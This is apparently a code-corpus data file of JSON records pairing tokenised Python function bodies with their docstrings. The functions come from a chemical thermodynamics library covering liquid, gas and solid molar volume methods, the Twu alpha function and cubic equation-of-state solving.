self.CASs:<EOL><INDENT>wCASs = [i for i in self.CASs if i != '<STR_LIT>'] <EOL>if all([i in _Laliberte_Density_ParametersDict for i in wCASs]):<EOL><INDENT>methods.append(LALIBERTE)<EOL>self.wCASs = wCASs<EOL>self.index_w = self.CASs.index('<STR_LIT>')<EOL><DEDENT><DEDENT>self.all_methods = set(methods)<EOL>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15779:c1:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == SIMPLE:<EOL><INDENT>Vms = [i(T, P) for i in self.VolumeLiquids]<EOL>return Amgat(zs, Vms)<EOL><DEDENT>elif method == COSTALD_MIXTURE:<EOL><INDENT>return COSTALD_mixture(zs, T, self.Tcs, self.Vcs, self.omegas)<EOL><DEDENT>elif method == COSTALD_MIXTURE_FIT:<EOL><INDENT>return COSTALD_mixture(zs, T, self.Tcs, self.COSTALD_Vchars, self.COSTALD_omegas)<EOL><DEDENT>elif method == RACKETT:<EOL><INDENT>return Rackett_mixture(T, zs, self.MWs, self.Tcs, self.Pcs, self.Zcs)<EOL><DEDENT>elif method == RACKETT_PARAMETERS:<EOL><INDENT>return Rackett_mixture(T, zs, self.MWs, self.Tcs, self.Pcs, self.Z_RAs)<EOL><DEDENT>elif method == LALIBERTE:<EOL><INDENT>ws = list(ws) ; ws.pop(self.index_w)<EOL>rho = Laliberte_density(T, ws, self.wCASs)<EOL>MW = mixing_simple(zs, self.MWs)<EOL>return rho_to_Vm(rho, MW)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate molar volume of a liquid mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Vm : float\n            Molar volume of the liquid mixture at the given conditions, \n            [m^3/mol]", "id": "f15779:c1:m2"}
{"signature": "def load_all_methods(self):", "body": "methods_P = [IDEAL]<EOL>if all((self.Tc, self.Pc, self.omega)):<EOL><INDENT>methods_P.extend([TSONOPOULOS_EXTENDED, TSONOPOULOS, ABBOTT,<EOL>PITZER_CURL])<EOL>if self.eos:<EOL><INDENT>methods_P.append(EOS)<EOL><DEDENT><DEDENT>if self.CASRN in CRC_virial_data.index:<EOL><INDENT>methods_P.append(CRC_VIRIAL)<EOL>self.CRC_VIRIAL_coeffs = _CRC_virial_data_values[CRC_virial_data.index.get_loc(self.CASRN)].tolist()[<NUM_LIT:1>:]<EOL><DEDENT>if has_CoolProp and self.CASRN in coolprop_dict:<EOL><INDENT>methods_P.append(COOLPROP)<EOL>self.CP_f = coolprop_fluids[self.CASRN]<EOL><DEDENT>self.all_methods_P = set(methods_P)<EOL>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets obj:`all_methods_P` as a\n        set of methods for which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15779:c2:m1"}
{"signature": "def calculate_P(self, T, P, method):", "body": "if method == EOS:<EOL><INDENT>self.eos[<NUM_LIT:0>] = self.eos[<NUM_LIT:0>].to_TP(T=T, P=P)<EOL>Vm = self.eos[<NUM_LIT:0>].V_g<EOL><DEDENT>elif method == TSONOPOULOS_EXTENDED:<EOL><INDENT>B = BVirial_Tsonopoulos_extended(T, self.Tc, self.Pc, self.omega, dipole=self.dipole)<EOL>Vm = ideal_gas(T, P) + B<EOL><DEDENT>elif method == TSONOPOULOS:<EOL><INDENT>B = BVirial_Tsonopoulos(T, self.Tc, self.Pc, self.omega)<EOL>Vm = ideal_gas(T, P) + B<EOL><DEDENT>elif method == ABBOTT:<EOL><INDENT>B = BVirial_Abbott(T, self.Tc, self.Pc, self.omega)<EOL>Vm = ideal_gas(T, P) + B<EOL><DEDENT>elif method == PITZER_CURL:<EOL><INDENT>B = BVirial_Pitzer_Curl(T, self.Tc, self.Pc, self.omega)<EOL>Vm = ideal_gas(T, P) + B<EOL><DEDENT>elif method == CRC_VIRIAL:<EOL><INDENT>a1, a2, a3, a4, a5 = self.CRC_VIRIAL_coeffs<EOL>t = <NUM_LIT>/T - <NUM_LIT:1.><EOL>B = (a1 + a2*t + a3*t**<NUM_LIT:2> + a4*t**<NUM_LIT:3> + a5*t**<NUM_LIT:4>)/<NUM_LIT><EOL>Vm = ideal_gas(T, P) + B<EOL><DEDENT>elif method == IDEAL:<EOL><INDENT>Vm = ideal_gas(T, P)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>Vm = <NUM_LIT:1.>/PropsSI('<STR_LIT>', '<STR_LIT:T>', T, '<STR_LIT:P>', P, self.CASRN)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>Vm = self.interpolate_P(T, P, method)<EOL><DEDENT>return Vm<EOL>", "docstring": "r'''Method to calculate pressure-dependent gas molar volume at\n        temperature `T` and pressure `P` with a given method.\n\n        This method has no exception handling; see `TP_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate molar volume, [K]\n        P : float\n            Pressure at which to calculate molar volume, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Vm : float\n            Molar volume of the gas at T and P, [m^3/mol]", "id": "f15779:c2:m2"}
{"signature": "def load_all_methods(self):", "body": "methods = [SIMPLE, IDEAL]     <EOL>if self.eos:<EOL><INDENT>methods.append(EOS)<EOL><DEDENT>self.all_methods = set(methods)<EOL>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15779:c3:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == SIMPLE:<EOL><INDENT>Vms = [i(T, P) for i in self.VolumeGases]<EOL>return mixing_simple(zs, Vms)<EOL><DEDENT>elif method == IDEAL:<EOL><INDENT>return ideal_gas(T, P)<EOL><DEDENT>elif method == EOS:<EOL><INDENT>self.eos[<NUM_LIT:0>] = self.eos[<NUM_LIT:0>].to_TP_zs(T=T, P=P, zs=zs)<EOL>return self.eos[<NUM_LIT:0>].V_g<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate molar volume of a gas mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Vm : float\n            Molar volume of the gas mixture at the given conditions, [m^3/mol]", "id": "f15779:c3:m2"}
{"signature": "def load_all_methods(self):", "body": "methods = []<EOL>if self.CASRN in CRC_inorg_s_const_data.index:<EOL><INDENT>methods.append(CRC_INORG_S)<EOL>self.CRC_INORG_S_Vm = float(CRC_inorg_s_const_data.at[self.CASRN, '<STR_LIT>'])<EOL>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        and :obj:`all_methods` as a set of methods for which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15779:c4:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == CRC_INORG_S:<EOL><INDENT>Vms = self.CRC_INORG_S_Vm<EOL>", "docstring": "r'''Method to calculate the molar volume of a solid at tempearture `T`\n        with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate molar volume, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Vms : float\n            Molar volume of the solid at T, [m^3/mol]", "id": "f15779:c4:m2"}
{"signature": "def load_all_methods(self):", "body": "methods = [SIMPLE]     <EOL>self.all_methods = set(methods)<EOL>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15779:c5:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == SIMPLE:<EOL><INDENT>Vms = [i(T, P) for i in self.VolumeSolids]<EOL>return mixing_simple(zs, Vms)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate molar volume of a solid mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Vm : float\n            Molar volume of the solid mixture at the given conditions,\n            [m^3/mol]", "id": "f15779:c5:m2"}
{"signature": "def TWU_a_alpha_common(T, Tc, omega, a, full=True, quick=True, method='<STR_LIT>'):", "body": "Tr = T/Tc<EOL>if method == '<STR_LIT>':<EOL><INDENT>if Tr < <NUM_LIT:1>:<EOL><INDENT>L0, M0, N0 = <NUM_LIT>, <NUM_LIT>, <NUM_LIT><EOL>L1, M1, N1 = <NUM_LIT>, <NUM_LIT>, <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>L0, M0, N0 = <NUM_LIT>, <NUM_LIT>, -<NUM_LIT><EOL>L1, M1, N1 = <NUM_LIT>, <NUM_LIT>, -<NUM_LIT>  <EOL><DEDENT><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>if Tr < <NUM_LIT:1>:<EOL><INDENT>L0, M0, N0 = <NUM_LIT>, <NUM_LIT>, <NUM_LIT><EOL>L1, M1, N1 = <NUM_LIT>, <NUM_LIT>, <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>L0, M0, N0 = <NUM_LIT>, <NUM_LIT>, -<NUM_LIT><EOL>L1, M1, N1 = <NUM_LIT>,  <NUM_LIT>, -<NUM_LIT><EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if not full:<EOL><INDENT>alpha0 = Tr**(N0*(M0-<NUM_LIT:1.>))*exp(L0*(<NUM_LIT:1.>-Tr**(N0*M0)))<EOL>alpha1 = Tr**(N1*(M1-<NUM_LIT:1.>))*exp(L1*(<NUM_LIT:1.>-Tr**(N1*M1)))<EOL>alpha = alpha0 + omega*(alpha1 - alpha0)<EOL>return a*alpha<EOL><DEDENT>else:<EOL><INDENT>if quick:<EOL><INDENT>x0 = T/Tc<EOL>x1 = M0 - <NUM_LIT:1><EOL>x2 = N0*x1<EOL>x3 = x0**x2<EOL>x4 = M0*N0<EOL>x5 = x0**x4<EOL>x6 = exp(-L0*(x5 - <NUM_LIT:1.>))<EOL>x7 = x3*x6<EOL>x8 = M1 - <NUM_LIT:1.><EOL>x9 = N1*x8<EOL>x10 = x0**x9<EOL>x11 = M1*N1<EOL>x12 = x0**x11<EOL>x13 = x2*x7<EOL>x14 = L0*M0*N0*x3*x5*x6<EOL>x15 = x13 - x14<EOL>x16 = exp(-L1*(x12 - <NUM_LIT:1>))<EOL>x17 = -L1*M1*N1*x10*x12*x16 + x10*x16*x9 - x13 + x14<EOL>x18 = N0*N0<EOL>x19 = x18*x3*x6<EOL>x20 = x1**<NUM_LIT:2>*x19<EOL>x21 = M0**<NUM_LIT:2><EOL>x22 = L0*x18*x3*x5*x6<EOL>x23 = x21*x22<EOL>x24 = <NUM_LIT:2>*M0*x1*x22<EOL>x25 = L0**<NUM_LIT:2>*x0**(<NUM_LIT:2>*x4)*x19*x21<EOL>x26 = N1**<NUM_LIT:2><EOL>x27 = x10*x16*x26<EOL>x28 = M1**<NUM_LIT:2><EOL>x29 = L1*x10*x12*x16*x26<EOL>a_alpha = a*(-omega*(-x10*exp(L1*(-x12 + <NUM_LIT:1>)) + x3*exp(L0*(-x5 + <NUM_LIT:1>))) + x7)<EOL>da_alpha_dT = a*(omega*x17 + x15)/T<EOL>d2a_alpha_dT2 = a*(-(omega*(-L1**<NUM_LIT:2>*x0**(<NUM_LIT>*x11)*x27*x28 + <NUM_LIT>*M1*x29*x8 + x17 + x20 - x23 - x24 + x25 - x27*x8**<NUM_LIT:2> + x28*x29) + x15 - x20 + x23 + x24 - x25)/T**<NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>a_alpha = TWU_a_alpha_common(T=T, Tc=Tc, omega=omega, a=a, full=False, quick=quick, method=method)<EOL>da_alpha_dT = a*(-L0*M0*N0*(T/Tc)**(M0*N0)*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*exp(L0*(-(T/Tc)**(M0*N0) + <NUM_LIT:1>))/T + N0*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*(M0 - <NUM_LIT:1>)*exp(L0*(-(T/Tc)**(M0*N0) + <NUM_LIT:1>))/T + omega*(L0*M0*N0*(T/Tc)**(M0*N0)*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*exp(L0*(-(T/Tc)**(M0*N0) + <NUM_LIT:1>))/T - L1*M1*N1*(T/Tc)**(M1*N1)*(T/Tc)**(N1*(M1 - <NUM_LIT:1>))*exp(L1*(-(T/Tc)**(M1*N1) + <NUM_LIT:1>))/T - N0*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*(M0 - <NUM_LIT:1>)*exp(L0*(-(T/Tc)**(M0*N0) + <NUM_LIT:1>))/T + N1*(T/Tc)**(N1*(M1 - <NUM_LIT:1>))*(M1 - <NUM_LIT:1>)*exp(L1*(-(T/Tc)**(M1*N1) + <NUM_LIT:1>))/T))<EOL>d2a_alpha_dT2 = a*((L0**<NUM_LIT:2>*M0**<NUM_LIT:2>*N0**<NUM_LIT:2>*(T/Tc)**(<NUM_LIT:2>*M0*N0)*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) - L0*M0**<NUM_LIT:2>*N0**<NUM_LIT:2>*(T/Tc)**(M0*N0)*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) - <NUM_LIT:2>*L0*M0*N0**<NUM_LIT:2>*(T/Tc)**(M0*N0)*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*(M0 - <NUM_LIT:1>)*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) + L0*M0*N0*(T/Tc)**(M0*N0)*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) + N0**<NUM_LIT:2>*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*(M0 - <NUM_LIT:1>)**<NUM_LIT:2>*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) - N0*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*(M0 - <NUM_LIT:1>)*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) - omega*(L0**<NUM_LIT:2>*M0**<NUM_LIT:2>*N0**<NUM_LIT:2>*(T/Tc)**(<NUM_LIT:2>*M0*N0)*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) - L0*M0**<NUM_LIT:2>*N0**<NUM_LIT:2>*(T/Tc)**(M0*N0)*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) - <NUM_LIT:2>*L0*M0*N0**<NUM_LIT:2>*(T/Tc)**(M0*N0)*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*(M0 - <NUM_LIT:1>)*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) + L0*M0*N0*(T/Tc)**(M0*N0)*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) - L1**<NUM_LIT:2>*M1**<NUM_LIT:2>*N1**<NUM_LIT:2>*(T/Tc)**(<NUM_LIT:2>*M1*N1)*(T/Tc)**(N1*(M1 - <NUM_LIT:1>))*exp(-L1*((T/Tc)**(M1*N1) - <NUM_LIT:1>)) + L1*M1**<NUM_LIT:2>*N1**<NUM_LIT:2>*(T/Tc)**(M1*N1)*(T/Tc)**(N1*(M1 - <NUM_LIT:1>))*exp(-L1*((T/Tc)**(M1*N1) - <NUM_LIT:1>)) + <NUM_LIT:2>*L1*M1*N1**<NUM_LIT:2>*(T/Tc)**(M1*N1)*(T/Tc)**(N1*(M1 - <NUM_LIT:1>))*(M1 - <NUM_LIT:1>)*exp(-L1*((T/Tc)**(M1*N1) - <NUM_LIT:1>)) - L1*M1*N1*(T/Tc)**(M1*N1)*(T/Tc)**(N1*(M1 - <NUM_LIT:1>))*exp(-L1*((T/Tc)**(M1*N1) - <NUM_LIT:1>)) + N0**<NUM_LIT:2>*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*(M0 - <NUM_LIT:1>)**<NUM_LIT:2>*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) - N0*(T/Tc)**(N0*(M0 - <NUM_LIT:1>))*(M0 - <NUM_LIT:1>)*exp(-L0*((T/Tc)**(M0*N0) - <NUM_LIT:1>)) - N1**<NUM_LIT:2>*(T/Tc)**(N1*(M1 - <NUM_LIT:1>))*(M1 - <NUM_LIT:1>)**<NUM_LIT:2>*exp(-L1*((T/Tc)**(M1*N1) - <NUM_LIT:1>)) + N1*(T/Tc)**(N1*(M1 - <NUM_LIT:1>))*(M1 - <NUM_LIT:1>)*exp(-L1*((T/Tc)**(M1*N1) - <NUM_LIT:1>))))/T**<NUM_LIT:2>)<EOL><DEDENT>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Function to calculate `a_alpha` and optionally its first and second\n    derivatives for the TWUPR or TWUSRK EOS. Returns 'a_alpha', and \n    optionally 'da_alpha_dT' and 'd2a_alpha_dT2'.\n    Used by `TWUPR` and `TWUSRK`; has little purpose on its own.\n    See either class for the correct reference, and examples of using the EOS.\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    Tc : float\n        Critical temperature, [K]\n    omega : float\n        Acentric factor, [-]\n    a : float\n        Coefficient calculated by EOS-specific method, [J^2/mol^2/Pa]\n    full : float\n        Whether or not to return its first and second derivatives\n    quick : bool, optional\n        Whether to use a SymPy cse-derived expression (3x faster) or \n        individual formulas\n    method : str\n        Either 'PR' or 'SRK'\n\n    Notes\n    -----\n    The derivatives are somewhat long and are not described here for \n    brevity; they are obtainable from the following SymPy expression.\n\n    >>> from sympy import *\n    >>> T, Tc, omega, N1, N0, M1, M0, L1, L0 = symbols('T, Tc, omega, N1, N0, M1, M0, L1, L0')\n    >>> Tr = T/Tc\n    >>> alpha0 = Tr**(N0*(M0-1))*exp(L0*(1-Tr**(N0*M0)))\n    >>> alpha1 = Tr**(N1*(M1-1))*exp(L1*(1-Tr**(N1*M1)))\n    >>> alpha = alpha0 + omega*(alpha1-alpha0)\n    >>> # diff(alpha, T)\n    >>> # diff(alpha, T, T)", "id": "f15780:m0"}
{"signature": "def check_sufficient_inputs(self):", "body": "if not ((self.T and self.P) or (self.T and self.V) or (self.P and self.V)):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "Method to an exception if none of the pairs (T, P), (T, V), or \n        (P, V) are given.", "id": "f15780:c0:m0"}
{"signature": "def solve(self):", "body": "self.check_sufficient_inputs()<EOL>if self.V:<EOL><INDENT>if self.P:<EOL><INDENT>self.T = self.solve_T(self.P, self.V)<EOL>self.a_alpha, self.da_alpha_dT, self.d2a_alpha_dT2 = self.a_alpha_and_derivatives(self.T)<EOL><DEDENT>else:<EOL><INDENT>self.a_alpha, self.da_alpha_dT, self.d2a_alpha_dT2 = self.a_alpha_and_derivatives(self.T)<EOL>self.P = R*self.T/(self.V-self.b) - self.a_alpha/(self.V*self.V + self.delta*self.V + self.epsilon)<EOL><DEDENT>Vs = [self.V, <NUM_LIT>, <NUM_LIT>]<EOL><DEDENT>else:<EOL><INDENT>self.a_alpha, self.da_alpha_dT, self.d2a_alpha_dT2 = self.a_alpha_and_derivatives(self.T)<EOL>Vs = self.volume_solutions(self.T, self.P, self.b, self.delta, self.epsilon, self.a_alpha)<EOL><DEDENT>self.set_from_PT(Vs)<EOL>", "docstring": "First EOS-generic method; should be called by all specific EOSs.\n        For solving for `T`, the EOS must provide the method `solve_T`.\n        For all cases, the EOS must provide `a_alpha_and_derivatives`.\n        Calls `set_from_PT` once done.", "id": "f15780:c0:m1"}
{"signature": "def set_from_PT(self, Vs):", "body": "<EOL>good_roots = []<EOL>bad_roots = []<EOL>for i in Vs:<EOL><INDENT>j = i.real<EOL>if abs(i.imag) > <NUM_LIT> or j < <NUM_LIT:0>:<EOL><INDENT>bad_roots.append(i)<EOL><DEDENT>else:<EOL><INDENT>good_roots.append(j)<EOL><DEDENT><DEDENT>if len(bad_roots) == <NUM_LIT:2>: <EOL><INDENT>V = good_roots[<NUM_LIT:0>]<EOL>self.phase = self.set_properties_from_solution(self.T, self.P, V, self.b, self.delta, self.epsilon, self.a_alpha, self.da_alpha_dT, self.d2a_alpha_dT2)<EOL>if self.phase == '<STR_LIT:l>':<EOL><INDENT>self.V_l = V<EOL><DEDENT>else:<EOL><INDENT>self.V_g = V<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.V_l, self.V_g = min(good_roots), max(good_roots)<EOL>[self.set_properties_from_solution(self.T, self.P, V, self.b, self.delta, self.epsilon, self.a_alpha, self.da_alpha_dT, self.d2a_alpha_dT2) for V in [self.V_l, self.V_g]]<EOL>self.phase = '<STR_LIT>'<EOL><DEDENT>", "docstring": "Counts the number of real volumes in `Vs`, and determines what to do.\n        If there is only one real volume, the method \n        `set_properties_from_solution` is called with it. If there are\n        two real volumes, `set_properties_from_solution` is called once with  \n        each volume. The phase is returned by `set_properties_from_solution`, \n        and the volumes is set to either `V_l` or `V_g` as appropriate. \n\n        Parameters\n        ----------\n        Vs : list[float]\n            Three possible molar volumes, [m^3/mol]", "id": "f15780:c0:m2"}
{"signature": "def set_properties_from_solution(self, T, P, V, b, delta, epsilon, a_alpha, <EOL>da_alpha_dT, d2a_alpha_dT2, quick=True):", "body": "([dP_dT, dP_dV, dV_dT, dV_dP, dT_dV, dT_dP], <EOL>[d2P_dT2, d2P_dV2, d2V_dT2, d2V_dP2, d2T_dV2, d2T_dP2],<EOL>[d2V_dPdT, d2P_dTdV, d2T_dPdV],<EOL>[H_dep, S_dep, Cv_dep]) = self.derivatives_and_departures(T, P, V, b, delta, epsilon, a_alpha, da_alpha_dT, d2a_alpha_dT2, quick=quick)<EOL>beta = dV_dT/V <EOL>kappa = -dV_dP/V <EOL>Cp_m_Cv = -T*dP_dT*dP_dT/dP_dV <EOL>Cp_dep = Cp_m_Cv + Cv_dep - R<EOL>V_dep = (V - R*T/P)        <EOL>U_dep = H_dep - P*V_dep<EOL>G_dep = H_dep - T*S_dep<EOL>A_dep = U_dep - T*S_dep<EOL>fugacity = P*exp(G_dep/(R*T))<EOL>phi = fugacity/P<EOL>PIP = V*(d2P_dTdV/dP_dT - d2P_dV2/dP_dV) <EOL>phase = '<STR_LIT:l>' if PIP > <NUM_LIT:1> else '<STR_LIT:g>' <EOL>if phase == '<STR_LIT:l>':<EOL><INDENT>self.Z_l = self.P*V/(R*self.T)<EOL>self.beta_l, self.kappa_l = beta, kappa<EOL>self.PIP_l, self.Cp_minus_Cv_l = PIP, Cp_m_Cv<EOL>self.dP_dT_l, self.dP_dV_l, self.dV_dT_l = dP_dT, dP_dV, dV_dT<EOL>self.dV_dP_l, self.dT_dV_l, self.dT_dP_l = dV_dP, dT_dV, dT_dP<EOL>self.d2P_dT2_l, self.d2P_dV2_l = d2P_dT2, d2P_dV2<EOL>self.d2V_dT2_l, self.d2V_dP2_l = d2V_dT2, d2V_dP2<EOL>self.d2T_dV2_l, self.d2T_dP2_l = d2T_dV2, d2T_dP2<EOL>self.d2V_dPdT_l, self.d2P_dTdV_l, self.d2T_dPdV_l = d2V_dPdT, d2P_dTdV, d2T_dPdV<EOL>self.H_dep_l, self.S_dep_l, self.V_dep_l = H_dep, S_dep, V_dep, <EOL>self.U_dep_l, self.G_dep_l, self.A_dep_l = U_dep, G_dep, A_dep, <EOL>self.fugacity_l, self.phi_l = fugacity, phi<EOL>self.Cp_dep_l, self.Cv_dep_l = Cp_dep, Cv_dep<EOL><DEDENT>else:<EOL><INDENT>self.Z_g = self.P*V/(R*self.T)<EOL>self.beta_g, self.kappa_g = beta, kappa<EOL>self.PIP_g, self.Cp_minus_Cv_g = PIP, Cp_m_Cv<EOL>self.dP_dT_g, self.dP_dV_g, self.dV_dT_g = dP_dT, dP_dV, dV_dT<EOL>self.dV_dP_g, self.dT_dV_g, self.dT_dP_g = dV_dP, dT_dV, dT_dP<EOL>self.d2P_dT2_g, self.d2P_dV2_g = d2P_dT2, d2P_dV2<EOL>self.d2V_dT2_g, self.d2V_dP2_g = d2V_dT2, d2V_dP2<EOL>self.d2T_dV2_g, self.d2T_dP2_g = d2T_dV2, d2T_dP2<EOL>self.d2V_dPdT_g, self.d2P_dTdV_g, self.d2T_dPdV_g = d2V_dPdT, d2P_dTdV, d2T_dPdV<EOL>self.H_dep_g, self.S_dep_g, self.V_dep_g = H_dep, S_dep, V_dep, <EOL>self.U_dep_g, self.G_dep_g, self.A_dep_g = U_dep, G_dep, A_dep, <EOL>self.fugacity_g, self.phi_g = fugacity, phi<EOL>self.Cp_dep_g, self.Cv_dep_g = Cp_dep, Cv_dep<EOL><DEDENT>return phase<EOL>", "docstring": "r'''Sets all interesting properties which can be calculated from an\n        EOS alone. Determines which phase the fluid is on its own; for details,\n        see `phase_identification_parameter`.\n\n        The list of properties set is as follows, with all properties suffixed\n        with '_l' or '_g'.\n\n        dP_dT, dP_dV, dV_dT, dV_dP, dT_dV, dT_dP, d2P_dT2, d2P_dV2, d2V_dT2, \n        d2V_dP2, d2T_dV2, d2T_dP2, d2V_dPdT, d2P_dTdV, d2T_dPdV, H_dep, S_dep, \n        beta, kappa, Cp_minus_Cv, V_dep, U_dep, G_dep, A_dep, fugacity, phi, \n        and PIP.\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n        P : float\n            Pressure, [Pa]\n        V : float\n            Molar volume, [m^3/mol]\n        b : float\n            Coefficient calculated by EOS-specific method, [m^3/mol]\n        delta : float\n            Coefficient calculated by EOS-specific method, [m^3/mol]\n        epsilon : float\n            Coefficient calculated by EOS-specific method, [m^6/mol^2]\n        a_alpha : float\n            Coefficient calculated by EOS-specific method, [J^2/mol^2/Pa]\n        da_alpha_dT : float\n            Temperature derivative of coefficient calculated by EOS-specific \n            method, [J^2/mol^2/Pa/K]\n        d2a_alpha_dT2 : float\n            Second temperature derivative of coefficient calculated by  \n            EOS-specific method, [J^2/mol^2/Pa/K**2]\n        quick : bool, optional\n            Whether to use a SymPy cse-derived expression (3x faster) or \n            individual formulas\n\n        Returns\n        -------\n        phase : str\n            Either 'l' or 'g'\n\n        Notes\n        -----\n        The individual formulas for the derivatives and excess properties are \n        as follows. For definitions of `beta`, see `isobaric_expansion`;\n        for `kappa`, see isothermal_compressibility; for `Cp_minus_Cv`, see\n        `Cp_minus_Cv`; for `phase_identification_parameter`, see \n        `phase_identification_parameter`.\n\n        First derivatives; in part using the Triple Product Rule [2]_, [3]_:\n\n        .. math::\n            \\left(\\frac{\\partial P}{\\partial T}\\right)_V = \\frac{R}{V - b}\n            - \\frac{a \\frac{d \\alpha{\\left (T \\right )}}{d T}}{V^{2} + V \\delta\n            + \\epsilon}\n\n            \\left(\\frac{\\partial P}{\\partial V}\\right)_T = - \\frac{R T}{\\left(\n            V - b\\right)^{2}} - \\frac{a \\left(- 2 V - \\delta\\right) \\alpha{\n            \\left (T \\right )}}{\\left(V^{2} + V \\delta + \\epsilon\\right)^{2}}\n\n            